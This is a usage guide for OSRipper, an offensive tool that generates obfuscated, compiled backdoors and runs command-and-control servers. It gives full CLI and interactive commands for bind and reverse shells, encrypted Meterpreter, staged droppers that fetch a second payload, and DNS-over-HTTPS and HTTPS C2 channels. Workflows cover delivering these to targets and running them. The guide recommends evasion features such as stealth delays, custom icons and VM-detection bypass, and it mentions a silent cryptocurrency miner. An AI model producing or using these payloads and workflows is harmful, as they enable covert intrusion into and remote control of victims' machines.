# Usage Guide

Comprehensive guide to using OSRipper for payload generation and C2 operations.

## Table of Contents

- [Command-Line Interface](#command-line-interface)
- [Interactive Mode](#interactive-mode)
- [Web UI](#web-ui)
- [Common Workflows](#common-workflows)
- [Best Practices](#best-practices)

---

## Command-Line Interface

The CLI provides full control over payload generation with scriptable commands.

### Basic Syntax

```bash
osripper-cli <command> [options]
```

### Available Commands

#### Bind Shell

```bash
osripper-cli bind -p PORT [options]
```

**Example:**
```bash
osripper-cli bind -p 4444 --obfuscate --compile
```

#### Reverse Shell

```bash
osripper-cli reverse -H IP -p PORT [options]
osripper-cli reverse --ngrok -p PORT [options]
```

**Example:**
```bash
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced --compile
```

#### DoH C2

```bash
osripper-cli doh -d DOMAIN [options]
```

**Example:**
```bash
osripper-cli doh -d example.com --obfuscate --compile --delay
```

#### HTTPS C2

Generate via Web UI (see [Web UI Guide](Web-UI-Guide)).

#### Staged Payload

```bash
osripper-cli staged -H IP -p PORT [options]
```

**Example:**
```bash
osripper-cli staged -H 192.168.1.100 -p 8080 --obfuscate --compile
```

#### Custom Script

```bash
osripper-cli custom --script FILE [options]
```

**Example:**
```bash
osripper-cli custom --script mypayload.py --obfuscate --enhanced --compile
```

### Common Options

| Option | Description | Example |
|--------|-------------|---------|
| `--obfuscate` | Enable obfuscation | `--obfuscate` |
| `--enhanced` | Enhanced obfuscation | `--enhanced` |
| `--compile` | Compile to binary | `--compile` |
| `--icon PATH` | Custom icon | `--icon app.ico` |
| `--delay` | Stealth delay | `--delay` |
| `--output NAME` | Output filename | `--output myshell` |
| `--quiet` | Quiet mode | `--quiet` |
| `--testing` | Skip VM checks | `--testing` |

### Getting Help

```bash
# General help
osripper-cli --help

# Command-specific help
osripper-cli reverse -h
osripper-cli doh -h
```

---

## Interactive Mode

Menu-driven interface for guided payload generation.

### Starting Interactive Mode

```bash
osripper
# or
python3 -m osripper
# or
osripper-cli interactive
```

### Menu Options

1. **Create Bind Backdoor** - Opens port on victim machine
2. **Create Encrypted TCP Meterpreter** - Reverse SSL/TLS connection
3. **Crypt Custom Code** - Obfuscate Python scripts
4. **Create Silent BTC Miner** - Cryptocurrency miner (deprecated)
5. **Create Encrypted Meterpreter (Staged)** - Multi-stage payload
6. **Create DNS-over-HTTPS C2 Payload** - DoH C2 with web UI

### Interactive Workflow

1. **Select Module** - Choose payload type (1-6)
2. **Configure Options** - Enter IP, port, domain, etc.
3. **Post-Generation** - Choose obfuscation/compilation
4. **Complete** - Payload generated in `results/` directory

### Example Session

```
OSRipper v0.3.2 Menu

[?] Select module (1-6): 2

Enter callback IP address: 192.168.1.100
Enter callback port (1024-65535): 4444
Add stealth delay (5-15 seconds) at startup? (y/n): y

Post-Generation Options
Obfuscate payload? (recommended) (y/n): y
Use enhanced obfuscator? (y/n): y
Compile to binary? (y/n): y
Enter .ico path for custom icon (or press Enter for default): 

[+] Payload generated successfully!
[*] Check the 'results' directory for your files
```

---

## Web UI

Browser-based interface for C2 operations and payload generation.

### Starting Web UI

```bash
# Start C2 server
python -m osripper.c2.server example.com

# Access at http://localhost:5000
```

### Features

- **Dashboard** - View active sessions
- **Session Management** - Execute commands
- **Payload Generator** - Generate DoH/HTTPS payloads
- **Command History** - Track executed commands

See [Web UI Guide](Web-UI-Guide) for detailed documentation.

---

## Common Workflows

### Workflow 1: Standard Penetration Test

**Scenario:** Standard reverse shell for penetration testing.

```bash
# 1. Generate payload
osripper-cli reverse -H YOUR_IP -p 4444 \
  --obfuscate --enhanced --compile --delay

# 2. Transfer payload to target
scp results/payload.bin user@target:/tmp/

# 3. Execute on target
ssh user@target
/tmp/payload.bin

# 4. Receive connection in Metasploit
# (Listener starts automatically)
```

### Workflow 2: Stealthy DoH C2

**Scenario:** Long-term C2 with web management.

```bash
# 1. Start C2 server
python -m osripper.c2.server yourdomain.com --port 5000

# 2. Generate payload via Web UI
# Navigate to http://localhost:5000/generate
# Select "DNS-over-HTTPS C2"
# Enter domain: yourdomain.com
# Enable obfuscation and compilation
# Generate and download

# 3. Execute payload on target
./payload.bin

# 4. Manage via Web UI
# View sessions on dashboard
# Execute commands via terminal
```

### Workflow 3: HTTPS C2 with Certificate Pinning

**Scenario:** Secure C2 with certificate validation.

```bash
# 1. Start HTTPS C2 server
python -m osripper.c2.server yourdomain.com --https

# 2. Get certificate fingerprint
curl http://localhost:5000/api/cert-fingerprint

# 3. Generate payload via Web UI
# Navigate to https://localhost:5000/generate
# Select "HTTPS C2 (Certificate Pinning)"
# Enter base URL: https://yourdomain.com
# Fingerprint auto-fills
# Generate payload

# 4. Execute payload on target
./payload.bin

# 5. Manage via HTTPS Web UI
# Access https://yourdomain.com:5000
```

### Workflow 4: Staged Payload Deployment

**Scenario:** Multi-stage deployment for enhanced stealth.

```bash
# 1. Generate staged payload
osripper-cli staged -H YOUR_IP -p 8080 \
  --obfuscate --compile

# 2. Web server starts automatically on port 8000
# Main payload in webroot/ directory

# 3. Deploy dropper to target
# Transfer dropper.bin to target

# 4. Execute dropper
# Dropper downloads main payload from web server
# Main payload connects back to listener
```

### Workflow 5: Custom Script Obfuscation

**Scenario:** Obfuscate custom Python script.

```bash
# 1. Create custom script
cat > mypayload.py << EOF
import os
print(os.getcwd())
EOF

# 2. Obfuscate and compile
osripper-cli custom --script mypayload.py \
  --obfuscate --enhanced --compile

# 3. Use obfuscated binary
./mypayload.bin
```

---

## Best Practices

### Payload Generation

1. **Always Use Obfuscation**
   ```bash
   --obfuscate --enhanced
   ```

2. **Compile to Binary**
   ```bash
   --compile
   ```

3. **Add Stealth Delay**
   ```bash
   --delay
   ```

4. **Use Descriptive Names**
   ```bash
   --output descriptive_name
   ```

### C2 Operations

1. **Use HTTPS** - Always use HTTPS in production
2. **Certificate Pinning** - Use certificate pinning for security
3. **Regular Backups** - Backup session database regularly
4. **Monitor Logs** - Monitor server logs for issues
5. **Access Control** - Restrict server access via firewall

### Security

1. **Test First** - Always test payloads in controlled environment
2. **Authorized Use Only** - Only use on authorized systems
3. **Secure Storage** - Store payloads securely
4. **Clean Up** - Remove payloads after use
5. **Compliance** - Ensure compliance with laws and regulations

### Performance

1. **Minimize Dependencies** - Reduce payload size
2. **Optimize Polling** - Use appropriate polling intervals
3. **Database Maintenance** - Clean old session data
4. **Resource Monitoring** - Monitor server resources

---

## Tips and Tricks

### Quick Payload Generation

```bash
# One-liner for quick payload
osripper-cli reverse -H $(hostname -I | awk '{print $1}') -p 4444 --obfuscate --compile
```

### Batch Generation

```bash
# Generate multiple payloads
for port in 4444 5555 6666; do
  osripper-cli reverse -H YOUR_IP -p $port \
    --obfuscate --compile \
    --output payload_$port
done
```

### Testing in VM

```bash
# Skip VM detection for testing
osripper-cli doh -d domain.com --testing
```

### Quiet Mode

```bash
# Minimal output for scripting
osripper-cli reverse -H IP -p PORT --quiet
```

---

## Troubleshooting

### Common Issues

**Payload doesn't connect:**
- Check firewall rules
- Verify IP address and port
- Ensure listener is running
- Check network connectivity

**Compilation fails:**
- Install Nuitka: `pip3 install nuitka`
- Check system dependencies
- Review error messages

**Web UI not accessible:**
- Check if server is running
- Verify port is not in use
- Check firewall settings

See [Troubleshooting Guide](Troubleshooting) for more help.

---

*For more information, see the [Payload Types](Payload-Types), [Web UI Guide](Web-UI-Guide), and [Advanced Features](Advanced-Features) pages.*